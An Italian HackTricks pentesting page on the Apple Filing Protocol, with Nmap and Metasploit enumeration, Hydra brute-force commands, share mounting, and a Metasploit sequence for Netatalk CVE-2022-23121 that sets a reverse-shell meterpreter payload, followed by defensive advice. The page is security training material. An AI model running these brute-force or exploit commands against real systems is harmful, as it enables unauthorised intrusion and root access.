548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Il Apple Filing Protocol (AFP), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso all'interno del Apple File Service (AFS). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni in stile POSIX e ACL, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati.

Sebbene AFP sia stato superato da SMB nelle versioni moderne di macOS (SMB è il predefinito dalla versione OS X 10.9), è ancora presente in:

  • Ambienti legacy di macOS / Mac OS 9
  • Dispositivi NAS (QNAP, Synology, Western Digital, TrueNAS…) che integrano il demone open-source Netatalk
  • Reti miste di sistemi operativi dove Time-Machine-over-AFP è ancora abilitato

Porta TCP predefinita: 548 (AFP su TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumerazione

Informazioni rapide su banner / server

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Utili script NSE per AFP:

ScriptCosa fa
afp-lsElenca i volumi e i file AFP disponibili
afp-bruteAttacco di forza bruta della password contro il login AFP
afp-serverinfoEstrae il nome del server, il tipo di macchina, la versione AFP, gli UAM supportati, ecc.
afp-showmountElenca le condivisioni insieme alle loro ACL
afp-path-vulnRileva (e può sfruttare) la traversata delle directory, CVE-2010-0533

Lo script di forza bruta NSE può essere combinato con Hydra/Medusa se è necessario un maggiore controllo:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Interagire con le condivisioni

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (utilizzando afpfs-ng ‑ incluso nella maggior parte delle distribuzioni)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Una volta montato, ricorda che i classici resource-forks di Mac sono memorizzati come file nascosti ._* AppleDouble – questi spesso contengono metadati interessanti che gli strumenti DFIR trascurano.


Vulnerabilità comuni e sfruttamento

Catena RCE non autenticata di Netatalk (2022)

Diversi fornitori di NAS hanno distribuito Netatalk ≤3.1.12. La mancanza di controllo dei limiti in parse_entries() consente a un attaccante di creare un'intestazione AppleDouble malevola e ottenere root remoto prima dell'autenticazione (CVSS 9.8 – CVE-2022-23121). Un'analisi completa da parte di NCC Group con PoC che sfrutta Western-Digital PR4100 è disponibile.

Metasploit (>= 6.3) include il modulo exploit/linux/netatalk/parse_entries che consegna il payload tramite DSI WRITE.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Se il target esegue un firmware QNAP/Synology vulnerabile, un'esploitazione riuscita fornisce una shell come root.

Overflow del heap OpenSession di Netatalk (2018)

Le versioni più vecchie di Netatalk (3.0.0 - 3.1.11) sono vulnerabili a una scrittura fuori dai limiti nel gestore DSI OpenSession, consentendo l'esecuzione di codice non autenticato (CVE-2018-1160). Un'analisi dettagliata e un PoC sono stati pubblicati da Tenable Research.

Altri problemi notevoli

  • CVE-2022-22995 – Redirezione di symlink che porta a scrittura di file arbitrari / RCE quando AppleDouble v2 è abilitato (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Traversata di directory in Apple Mac OS X 10.6 AFP (rilevato da afp-path-vuln.nse).
  • Sono stati risolti diversi bug di sicurezza della memoria in Netatalk 4.x (2024) – si consiglia di aggiornare piuttosto che applicare patch a singoli CVE.

Raccomandazioni difensive

  1. Disabilitare AFP a meno che non sia strettamente necessario – utilizzare SMB3 o NFS invece.
  2. Se AFP deve rimanere, aggiornare Netatalk a ≥ 3.1.18 o 4.x, o applicare firmware del fornitore che riporta le patch del 2022/2023/2024.
  3. Applicare Strong UAMs (ad es. DHX2), disabilitare accessi in chiaro e guest.
  4. Limitare TCP 548 a sottoreti fidate e incapsulare AFP all'interno di una VPN quando esposto remotamente.
  5. Scansionare periodicamente con nmap -p 548 --script afp-* in CI/CD per catturare dispositivi non autorizzati / downgradati.

Brute-Force

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks